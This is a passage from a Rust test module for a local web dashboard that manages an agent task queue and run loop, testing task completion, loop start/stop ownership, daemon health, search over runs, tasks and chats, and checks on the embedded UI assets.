11164
11165 let edit = f
11166 .post(
11167 &format!("/api/queue/{}/edit", task.id),
11168 Some(r#"{"title":"x","instruction":"y"}"#),
11169 )
11170 .await;
11171 assert_eq!(edit.status, 409, "{}", edit.body);
11172 }
11173
11174 #[tokio::test]
11175 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
11176 let f = Fixture::start().await;
11177 let queue = f.queue();
11178 let mut task = Task::new(
11179 "shipped by hand".to_owned(),
11180 "merged outside the loop".to_owned(),
11181 PathBuf::from("/repo/magi"),
11182 Source::Agent {
11183 run: "20260101-000000-b455".to_owned(),
11184 node: "implement".to_owned(),
11185 },
11186 );
11187 task.runs.push("20260101-000000-b455".to_owned());
11188 task.runs.push("20260101-000000-9af4".to_owned());
11189 queue.put(&mut task).expect("file the task");
11190 let created_at = task.created_at;
11191
11192 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11193 assert_eq!(done.status, 200, "{}", done.body);
11194 assert_eq!(done.json()["status_str"], "done");
11195
11196 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
11197 assert_eq!(
11198 reloaded.runs,
11199 ["20260101-000000-b455", "20260101-000000-9af4"]
11200 );
11201 assert_eq!(
11202 reloaded.source,
11203 Source::Agent {
11204 run: "20260101-000000-b455".to_owned(),
11205 node: "implement".to_owned(),
11206 }
11207 );
11208 assert_eq!(reloaded.created_at, created_at);
11209 }
11210
11211 #[tokio::test]
11212 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
11213 let f = Fixture::start().await;
11218 let queue = f.queue();
11219 let mut task = Task::new(
11220 "landed while held".to_owned(),
11221 "x".to_owned(),
11222 PathBuf::from("/repo/magi"),
11223 Source::Human,
11224 );
11225 task.hold_manual(Some("waiting on 3ed9".to_owned()));
11226 queue.put(&mut task).expect("file the held task");
11227
11228 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11229 assert_eq!(done.status, 200, "{}", done.body);
11230 assert_eq!(done.json()["status_str"], "done");
11231 assert!(
11232 done.json()["hold_reason"].is_null(),
11233 "a done task cannot still be waiting on something: {}",
11234 done.body
11235 );
11236 }
11237
11238 #[tokio::test]
11239 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
11240 let f = Fixture::start().await;
11245 let queue = f.queue();
11246 let runs = f.runs();
11247 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
11248 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
11252
11253 let mut task = Task::new(
11254 "landed by hand".to_owned(),
11255 "x".to_owned(),
11256 PathBuf::from("/repo/magi"),
11257 Source::Human,
11258 );
11259 task.runs.push("20260101-000000-doa1".to_owned());
11260 task.runs.push("20260101-000000-doa2".to_owned());
11261 queue.put(&mut task).expect("file the task");
11262
11263 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11264 assert_eq!(done.status, 200, "{}", done.body);
11265
11266 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
11267 .expect("run still on disk under this fixture's own home");
11268 assert_eq!(
11269 reloaded_run.status,
11270 RunStatus::Superseded,
11271 "closing the task by hand must relabel the earlier blocked attempt exactly \
11272 like the loop's own settle path does"
11273 );
11274 }
11275
11276 #[tokio::test]
11277 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
11278 let f = Fixture::start().await;
11283 let queue = f.queue();
11284 let runs = f.runs();
11285 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
11286 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
11287
11288 let mut task = Task::new(
11289 "closed with nothing actually landed".to_owned(),
11290 "x".to_owned(),
11291 PathBuf::from("/repo/magi"),
11292 Source::Human,
11293 );
11294 task.runs.push("20260101-000000-dob1".to_owned());
11295 task.runs.push("20260101-000000-dob2".to_owned());
11296 queue.put(&mut task).expect("file the task");
11297
11298 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11299 assert_eq!(done.status, 200, "{}", done.body);
11300
11301 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
11302 .expect("run still on disk under this fixture's own home");
11303 assert_eq!(
11304 reloaded_run.status,
11305 RunStatus::Blocked,
11306 "the last recorded attempt never landed, so the earlier one must not be \
11307 relabelled as superseded by it"
11308 );
11309 }
11310
11311 #[tokio::test]
11312 async fn unknown_ids_are_json_not_found_on_both_stores() {
11313 let f = Fixture::start().await;
11314
11315 let run = f.get("/api/runs/nosuchrun").await;
11316 let task = f.post("/api/queue/nosuchtask/hold", None).await;
11317
11318 assert_eq!(run.status, 404);
11319 assert_eq!(task.status, 404);
11320 assert!(
11321 run.json()["error"]
11322 .as_str()
11323 .is_some_and(|e| e.contains("run")),
11324 "the error names what was not found: {}",
11325 run.body
11326 );
11327 assert!(
11328 task.json()["error"]
11329 .as_str()
11330 .is_some_and(|e| e.contains("task")),
11331 "the error names what was not found: {}",
11332 task.body
11333 );
11334 }
11335
11336 #[tokio::test]
11337 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
11338 let f = Fixture::start().await;
11339
11340 let missing = f.get("/api/health").await.json();
11341 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
11342
11343 write_daemon(
11344 f.home.path(),
11345 Timestamp::now() - jiff::SignedDuration::from_secs(60),
11346 );
11347 let stale = f.get("/api/health").await.json();
11348 assert_eq!(
11349 stale["daemon"]["running"], false,
11350 "a minute without a heartbeat is a dead daemon, not a busy one"
11351 );
11352 assert!(
11353 stale["daemon"]["stale_for_secs"]
11354 .as_i64()
11355 .is_some_and(|s| s >= 55),
11356 "staleness is reported so the UI can say how long: {stale}"
11357 );
11358
11359 write_daemon(f.home.path(), Timestamp::now());
11360 let fresh = f.get("/api/health").await.json();
11361 assert_eq!(fresh["daemon"]["running"], true);
11362 assert_eq!(fresh["daemon"]["idle"], false);
11363 assert_eq!(fresh["daemon"]["pid"], 4242);
11364 assert_eq!(fresh["daemon"]["completed"], 7);
11365 assert_eq!(
11366 fresh["daemon"]["current"][0]["task"],
11367 "20260902-140501-aaaa"
11368 );
11369 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
11370 }
11371
11372 #[tokio::test]
11373 async fn the_loop_is_not_running_until_something_starts_it() {
11374 let f = Fixture::start().await;
11375
11376 let view = f.get("/api/loop").await.json();
11377 assert_eq!(view["running"], false);
11378 assert_eq!(
11379 view["owned"], false,
11380 "nobody owns a loop that does not exist: {view}"
11381 );
11382 assert_eq!(view["stopping"], false);
11383 assert_eq!(view["last_error"], Value::Null);
11384 assert_eq!(view["daemon"]["running"], false);
11385 assert_eq!(
11386 view["repo"], "/repo/magi",
11387 "the repository a start would use, named before it is started"
11388 );
11389 }
11390
11391 #[tokio::test]
11392 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
11393 let f = Fixture::start().await;
11394
11395 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11396 assert_eq!(res.status, 200, "{}", res.body);
11397 let view = res.json();
11398 assert_eq!(view["running"], true);
11399 assert_eq!(
11400 view["owned"], true,
11401 "the loop the UI started is the UI's own to stop: {view}"
11402 );
11403 assert_eq!(
11404 view["merge"],
11405 Value::Null,
11406 "no override was given, so each repository's own config decides"
11407 );
11408
11409 let health = f.get("/api/health").await.json();
11413 assert_eq!(health["loop"]["running"], true, "{health}");
11414 assert_eq!(health["loop"]["owned"], true, "{health}");
11415
11416 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11417 }
11418
11419 #[tokio::test]
11420 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
11421 let f = Fixture::start().await;
11422 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11423 assert_eq!(first.status, 200, "{}", first.body);
11424
11425 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11426 assert_eq!(
11427 again.status, 409,
11428 "two loops on one queue race for the same claims: {}",
11429 again.body
11430 );
11431 assert!(
11432 again.json()["error"]
11433 .as_str()
11434 .is_some_and(|e| e.contains("already running the loop")),
11435 "the refusal has to say why: {}",
11436 again.body
11437 );
11438 assert_eq!(
11439 f.get("/api/loop").await.json()["running"],
11440 true,
11441 "and the loop that was already running is untouched by it"
11442 );
11443
11444 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11445 }
11446
11447 #[tokio::test]
11448 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
11449 let f = Fixture::start().await;
11450 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11451
11452 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11453 assert_eq!(
11454 res.status, 200,
11455 "the answer must not wait for the loop: a run in flight is tens of \
11456 minutes and the operator is holding a phone: {}",
11457 res.body
11458 );
11459
11460 let view = settled(&f, |v| v["running"] == false).await;
11461 assert_eq!(view["owned"], false);
11462 assert_eq!(
11463 view["stopping"], false,
11464 "a loop that has stopped is not still stopping: {view}"
11465 );
11466 assert_eq!(
11467 view["last_error"],
11468 Value::Null,
11469 "a loop that was asked to stop did not fail: {view}"
11470 );
11471
11472 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11475 assert_eq!(twice.status, 200, "{}", twice.body);
11476 }
11477
11478 #[tokio::test]
11479 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
11480 let f = Fixture::start().await;
11481 write_daemon(f.home.path(), Timestamp::now());
11484
11485 let view = f.get("/api/loop").await.json();
11486 assert_eq!(view["running"], false, "not in this process: {view}");
11487 assert_eq!(view["owned"], false, "and not this process's to control");
11488 assert_eq!(
11489 view["daemon"]["running"], true,
11490 "but a loop is alive somewhere, which is what the UI must say"
11491 );
11492 assert_eq!(view["daemon"]["pid"], 4242);
11493
11494 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
11495 let res = f.post("/api/loop", Some(body)).await;
11496 assert_eq!(
11497 res.status, 409,
11498 "neither button may pretend to work on someone else's loop: {}",
11499 res.body
11500 );
11501 assert!(
11502 res.json()["error"]
11503 .as_str()
11504 .is_some_and(|e| e.contains("4242")),
11505 "the refusal has to name the process the operator must go to: {}",
11506 res.body
11507 );
11508 }
11509 assert_eq!(
11510 f.get("/api/loop").await.json()["running"],
11511 false,
11512 "and the refusal started nothing"
11513 );
11514 }
11515
11516 #[tokio::test]
11517 async fn a_stale_status_file_is_not_a_foreign_owner() {
11518 let f = Fixture::start().await;
11519 write_daemon(
11520 f.home.path(),
11521 Timestamp::now() - jiff::SignedDuration::from_secs(60),
11522 );
11523
11524 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11525 assert_eq!(
11526 res.status, 200,
11527 "a daemon killed a minute ago must not lock the loop out of its \
11528 own home for good: {}",
11529 res.body
11530 );
11531 assert_eq!(res.json()["running"], true);
11532
11533 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11534 }
11535
11536 #[tokio::test]
11537 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
11538 let f = Fixture::start().await;
11539 let before = f.get("/api/health").await.json()["loop_rev"]
11540 .as_u64()
11541 .expect("a loop revision");
11542
11543 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11544
11545 let after = f.get("/api/health").await.json()["loop_rev"]
11546 .as_u64()
11547 .expect("a loop revision");
11548 assert!(
11549 after > before,
11550 "the loop is in-process state, so this counter is the only thing \
11551 that tells a second device the first one started it: {before} -> \
11552 {after}"
11553 );
11554
11555 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11556 }
11557
11558 #[tokio::test]
11559 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
11560 let f = Fixture::with_loop(launch_broken).await;
11561
11562 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11563 assert_eq!(
11564 res.status, 200,
11565 "starting it is not the failure: {}",
11566 res.body
11567 );
11568
11569 let view = settled(&f, |v| v["last_error"].is_string()).await;
11570 assert_eq!(
11571 view["running"], false,
11572 "a loop that died must not read as running, or the operator has \
11573 nothing to press: {view}"
11574 );
11575 assert_eq!(view["owned"], false);
11576 assert!(
11577 view["last_error"]
11578 .as_str()
11579 .is_some_and(|e| e.contains("read-only file system")),
11580 "the phone is where a loop that died at 3am is visible: {view}"
11581 );
11582
11583 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11586 assert_eq!(again.status, 200, "{}", again.body);
11587 assert!(
11588 again.json()["last_error"]
11589 .as_str()
11590 .is_none_or(|e| !e.contains("read-only file system")),
11591 "a fresh start does not keep showing why the last one died: {}",
11592 again.body
11593 );
11594 }
11595
11596 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
11608 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
11609 let home = TempDir::new().expect("temp home");
11610 let runs = home.path().join("runs");
11611 std::fs::create_dir_all(&runs).expect("runs dir");
11612 let ui = Ui::new(
11613 Queue::at(home.path().join("queue")),
11614 Questions::at(home.path().join("questions")),
11615 Talks::at(home.path().join("talks")),
11616 runs,
11617 home.path().to_path_buf(),
11618 PathBuf::from("/repo/magi"),
11619 )
11620 .with_worktrees_root(home.path().join("wt"))
11621 .with_launch(launch_knocking_on_the_way_out);
11622 let looping = ui.looping();
11623 let turns = ui.turns();
11624 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11625 .await
11626 .expect("bind loopback");
11627 let addr = listener.local_addr().expect("local addr");
11628 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
11629 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
11630
11631 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
11632 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
11633
11634 let bound = std::sync::Mutex::new(None);
11649 hand_over(
11650 home.path(),
11651 &looping,
11652 &turns,
11653 &|_: &[String]| Duration::from_secs(5),
11654 served,
11655 |_| {
11656 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
11657 let attempt = loop {
11658 match std::net::TcpListener::bind(addr) {
11659 Ok(l) => {
11660 drop(l);
11661 break Ok(());
11662 }
11663 Err(e)
11664 if e.kind() == std::io::ErrorKind::AddrInUse
11665 && std::time::Instant::now() < deadline =>
11666 {
11667 std::thread::sleep(std::time::Duration::from_millis(10));
11668 }
11669 Err(e) => break Err(e.to_string()),
11670 }
11671 };
11672 *bound.lock().expect("bound") = Some(attempt);
11673 Ok(1)
11674 },
11675 )
11676 .await
11677 .expect("hand over");
11678
11679 assert_eq!(
11680 *PARK_HEARD.lock().expect("park heard"),
11681 Some(200),
11682 "the deck must answer while the loop is parking"
11683 );
11684 let attempt = bound
11685 .lock()
11686 .expect("bound")
11687 .take()
11688 .expect("the successor was started");
11689 assert!(
11690 attempt.is_ok(),
11691 "and the address must be free by the time it is: {attempt:?}"
11692 );
11693 }
11694
11695 #[tokio::test]
11696 async fn a_newer_daemon_status_file_still_renders() {
11697 let f = Fixture::start().await;
11698 std::fs::write(
11701 f.home.path().join("daemon.json"),
11702 serde_json::json!({
11703 "schema": 2,
11704 "updated_at": Timestamp::now().to_string(),
11705 "idle": true,
11706 "surprise": { "nested": [1, 2, 3] },
11707 })
11708 .to_string(),
11709 )
11710 .expect("write daemon.json");
11711
11712 let health = f.get("/api/health").await;
11713
11714 assert_eq!(health.status, 200);
11715 assert_eq!(health.json()["daemon"]["running"], true);
11716 }
11717
11718 #[tokio::test]
11719 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
11720 let f = Fixture::start().await;
11721 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11722 let broken = f.runs().join("20260902-140502-bad");
11723 std::fs::create_dir_all(&broken).expect("run dir");
11724 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11725
11726 let list = f.get("/api/runs").await;
11727 let detail = f.get("/api/runs/20260902-140502-bad").await;
11728
11729 assert_eq!(list.status, 200);
11730 let listed = list.json();
11731 let ids: Vec<&str> = listed
11732 .as_array()
11733 .expect("an array")
11734 .iter()
11735 .map(|r| r["id"].as_str().expect("an id"))
11736 .collect();
11737 assert_eq!(
11738 ids,
11739 vec!["20260902-140501-good"],
11740 "one unreadable run must not cost the operator the whole history"
11741 );
11742 assert_eq!(detail.status, 500);
11743 assert!(
11744 detail.json()["error"]
11745 .as_str()
11746 .is_some_and(|e| e.contains("run.json")),
11747 "the failure names the file to look at: {}",
11748 detail.body
11749 );
11750 let health = f.get("/api/health").await;
11754 assert_eq!(health.json()["runs_unreadable"], 1);
11755 }
11756
11757 #[tokio::test]
11759 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
11760 let f = Fixture::start().await;
11761 let runs = f.runs();
11762 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
11763 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
11764 let path = runs.join("20260902-140502-bbbb").join("run.json");
11767 let mut v: serde_json::Value =
11768 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11769 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
11770 std::fs::write(&path, v.to_string()).unwrap();
11771 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
11772 std::fs::write(
11773 runs.join("20260902-140503-cccc").join("run.json"),
11774 "{ not json",
11775 )
11776 .unwrap();
11777
11778 let res = f.get("/api/search?scope=runs&q=quokka").await;
11779 assert_eq!(res.status, 200, "{}", res.body);
11780 let v = res.json();
11781 assert_eq!(v["total"], 1, "{v}");
11782 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
11783 assert_eq!(v["hits"][0]["field"], "text");
11784 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
11785 let parts = v["hits"][0]["snippet"].as_array().unwrap();
11786 assert!(
11787 parts
11788 .iter()
11789 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
11790 "{v}"
11791 );
11792 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
11793 assert_eq!(
11794 flat, "The Quokka leaks across threads",
11795 "whitespace is collapsed"
11796 );
11797
11798 let both = f
11800 .get("/api/search?scope=runs&q=MOBILE%20quokka")
11801 .await
11802 .json();
11803 assert_eq!(both["total"], 1, "{both}");
11804 let neither = f
11805 .get("/api/search?scope=runs&q=quokka%20zebra")
11806 .await
11807 .json();
11808 assert_eq!(neither["total"], 0, "{neither}");
11809 let stmt = f
11811 .get("/api/search?scope=runs&q=mobile%20first")
11812 .await
11813 .json();
11814 assert_eq!(stmt["total"], 2, "{stmt}");
11815 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
11816 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
11817 }
11818
11819 #[test]
11820 fn snippet_ignores_terms_longer_than_the_field() {
11821 let terms = ["ok".to_owned(), "elephant".to_owned()];
11822 let parts = snippet_of("ok", &terms);
11823 assert_eq!(
11824 parts,
11825 vec![SnippetPart {
11826 text: "ok".to_owned(),
11827 hit: true
11828 }]
11829 );
11830 }
11831
11832 #[test]
11833 fn snippet_marks_matches_longer_than_the_window() {
11834 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
11835 let hit_len = |parts: &[SnippetPart]| -> usize {
11836 parts
11837 .iter()
11838 .filter(|p| p.hit)
11839 .map(|p| p.text.chars().count())
11840 .sum()
11841 };
11842 let total =
11843 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
11844
11845 let long = "a".repeat(120);
11846 let parts = snippet_of(&long, std::slice::from_ref(&long));
11847 assert!(hit_len(&parts) > 0, "{parts:?}");
11848 assert!(total(&parts) <= cap);
11849
11850 let ja = "あ".repeat(130);
11851 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
11852 assert!(hit_len(&parts) > 0, "{parts:?}");
11853 assert!(total(&parts) <= cap);
11854
11855 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
11857 let term = format!("ab{}", "c".repeat(100));
11858 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
11859 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
11860 assert!(total(&parts) <= cap);
11861
11862 let text = format!("{}z", "a".repeat(119));
11864 let parts = snippet_of(&text, &["a".repeat(120)]);
11865 assert_eq!(hit_len(&parts), 0, "{parts:?}");
11866 }
11867
11868 #[tokio::test]
11869 async fn search_caps_hits_and_snippet_length() {
11870 let f = Fixture::start().await;
11871 let runs = f.runs();
11872 for n in 0..(SEARCH_MAX_HITS + 5) {
11873 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
11874 }
11875 let v = f.get("/api/search?scope=runs&q=web").await.json();
11876 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
11877 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
11878 assert_eq!(v["truncated"], true);
11879 assert!(
11881 v["hits"]
11882 .as_array()
11883 .unwrap()
11884 .iter()
11885 .all(|h| h["run"]["status"] == "merged")
11886 );
11887
11888 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
11889 let parts = snippet_of(&long, &["needle".to_owned()]);
11890 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
11891 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
11892 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
11893 }
11894
11895 #[tokio::test]
11896 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
11897 let f = Fixture::start().await;
11898 let queue = f.queue();
11899 let mut t = Task::new(
11900 "short title".to_owned(),
11901 "line one\nthe hidden Armadillo detail".to_owned(),
11902 PathBuf::from("/repo/magi"),
11903 Source::Agent {
11904 run: "r1".to_owned(),
11905 node: "chat".to_owned(),
11906 },
11907 );
11908 t.last_error = Some("disk full on /tmp".to_owned());
11909 queue.put(&mut t).expect("file the task");
11910
11911 for (q, want) in [
11912 ("armadillo", 1),
11913 ("disk%20FULL", 1),
11914 ("chat", 1),
11915 ("queued", 1),
11916 ("short%20nothing", 0),
11917 ] {
11918 let v = f
11919 .get(&format!("/api/search?scope=tasks&q={q}"))
11920 .await
11921 .json();
11922 assert_eq!(v["total"], want, "{q}: {v}");
11923 }
11924 for bad in [
11925 "/api/search?scope=tasks&q=",
11926 "/api/search?scope=tasks&q=%20",
11927 "/api/search?scope=chats&q=",
11928 "/api/search?scope=chats&q=%20",
11929 "/api/search?scope=nope&q=a",
11930 "/api/search?q=a",
11931 ] {
11932 assert_eq!(f.get(bad).await.status, 400, "{bad}");
11933 }
11934 }
11935
11936 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
11938 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
11939 .expect("seat value");
11940 let turns: Vec<serde_json::Value> = turns
11941 .iter()
11942 .map(|(who, body)| {
11943 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
11944 })
11945 .collect();
11946 let doc = serde_json::json!({
11947 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
11948 "status": status, "turns": turns,
11949 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
11950 "seat": seat,
11951 });
11952 let dir = f.home.path().join("talks");
11953 std::fs::create_dir_all(&dir).expect("talks dir");
11954 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
11955 }
11956
11957 #[tokio::test]
11958 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
11959 let f = Fixture::start().await;
11960 write_talk(
11961 &f,
11962 "20260901-000001-aaaa",
11963 "open",
11964 &[
11965 (
11966 "operator",
11967 "\n Why does the Pangolin cache expire?\nsecond line",
11968 ),
11969 ("agent", "Because the TTL is thirty seconds."),
11970 ],
11971 );
11972 write_talk(
11973 &f,
11974 "20260901-000002-bbbb",
11975 "closed",
11976 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
11977 );
11978 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
11979
11980 let search = |q: &'static str| {
11981 let f = &f;
11982 async move {
11983 f.get(&format!("/api/search?scope=chats&q={q}"))
11984 .await
11985 .json()
11986 }
11987 };
11988
11989 let v = search("PANGOLIN").await;
11990 assert_eq!(v["scope"], "chats");
11991 assert_eq!(v["total"], 1, "{v}");
11992 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
11993 assert_eq!(v["hits"][0]["field"], "title");
11994 assert_eq!(v["unreadable"], 1, "{v}");
11995 let marked: Vec<&str> = v["hits"][0]["snippet"]
11996 .as_array()
11997 .unwrap()
11998 .iter()
11999 .filter(|p| p["hit"] == true)
12000 .map(|p| p["text"].as_str().unwrap())
12001 .collect();
12002 assert_eq!(marked, ["Pangolin"]);
12003
12004 let v = search("zebra").await;
12006 assert_eq!(v["total"], 1, "{v}");
12007 assert_eq!(v["hits"][0]["field"], "agent");
12008 assert_eq!(search("pangolin%20thirty").await["total"], 1);
12010 assert_eq!(search("pangolin%20zebra").await["total"], 0);
12011 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
12013 assert_eq!(search(q).await["total"], 0, "{q}");
12014 }
12015 assert_eq!(search("second").await["hits"][0]["field"], "operator");
12017 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
12019
12020 let v = f.get("/api/search?scope=nope&q=a").await;
12021 assert_eq!(v.status, 400);
12022 assert!(
12023 v.body.contains("scope must be runs, tasks or chats"),
12024 "{}",
12025 v.body
12026 );
12027 }
12028
12029 #[test]
12030 fn a_question_card_links_a_task_id_to_the_task_page() {
12031 let start = APP_JS
12032 .find("function updateAskCard(")
12033 .expect("updateAskCard exists");
12034 let body = &APP_JS[start..];
12035 let body = &body[..body.find("\n}\n").expect("function end")];
12036 assert!(body.contains("question.run_is_task"));
12037 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
12038 assert!(body.contains("`#/runs/${question.run}`"));
12039 assert!(body.contains("\"task\" : \"run\""));
12040 }
12041
12042 #[test]
12043 fn plain_text_message_surfaces_go_through_linkify() {
12044 assert!(APP_JS.contains("function linkify("));
12045 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
12046 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
12047 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
12048 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
12049 assert!(!APP_JS.contains("innerHTML = text"));
12050 }
12051
12052 #[test]
12053 fn stats_bars_share_one_id_keyed_plan() {
12054 let start = APP_JS
12055 .find("function statsBarRows(")
12056 .expect("statsBarRows exists");
12057 let body = &APP_JS[start..];
12058 let body = &body[..body.find("\n}\n").expect("function end")];
12059 assert!(body.contains("statsBarPlan(rows)"));
12060 assert!(body.contains("statsAgentTone(row.agent)"));
12061 assert!(!body.contains("candTone(i)"));
12062 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
12063 for root in ["stats-agents-bars", "stats-reviewers-bars"] {
12064 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
12065 }
12066 }
12067
12068 #[test]
12069 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
12070 let start = APP_JS
12071 .find("function renderStatsReviewerScatter(")
12072 .expect("renderStatsReviewerScatter exists");
12073 let body = &APP_JS[start..];
12074 let body = &body[..body.find("\n}\n").expect("function end")];
12075 assert!(body.contains("statsScatterPlan(reviewers)"));
12076 assert!(body.contains("statsAgentTone(d.agent)"));
12077 assert!(APP_JS.contains("function statsScatterPlan("));
12078 assert!(
12079 APP_JS.contains("d.submitted < STATS_LOW_N")
12080 || APP_JS.contains("r.submitted < STATS_LOW_N")
12081 );
12082 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
12083 assert!(APP_CSS.contains(".precision-scatter"));
12084 }
12085
12086 #[test]
12087 fn advisor_reflection_is_drawn_as_stacked_segments() {
12088 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
12089 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
12090 let html = include_str!("../assets/ui/index.html");
12091 assert!(html.contains("Approximate"));
12092 for label in ["reflected strongly", "faint", "no proposal"] {
12093 assert!(html.contains(label));
12094 }
12095 let css = include_str!("../assets/ui/app.css");
12096 for c in ["refl-strong", "refl-faint", "refl-absent"] {
12097 assert!(css.contains(&format!(".{c} {{")));
12098 }
12099 }
12100
12101 #[test]
12102 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
12103 assert!(APP_JS.contains("function statsDailyPlan("));
12104 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
12105 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
12106 }
12107
12108 #[test]
12109 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
12110 let start = APP_JS
12111 .find("function scheduleSearch(")
12112 .expect("scheduleSearch exists");
12113 let body = &APP_JS[start..];
12114 let body = &body[..body.find("\n}\n").expect("function end")];
12115 assert!(body.contains("s.seq += 1"));
12116 }
12117
12118 #[tokio::test]
12123 async fn stats_runs_unreadable_matches_health() {
12124 let f = Fixture::start().await;
12125 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
12126 let broken = f.runs().join("20260902-140502-bad");
12127 std::fs::create_dir_all(&broken).expect("run dir");
12128 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
12129
12130 let stats = f.get("/api/stats").await;
12131 let health = f.get("/api/health").await;
12132
12133 assert_eq!(stats.status, 200);
12134 assert_eq!(stats.json()["totals"]["runs"], 1);
12135 assert_eq!(stats.json()["runs_unreadable"], 1);
12136 assert_eq!(
12137 stats.json()["runs_unreadable"],
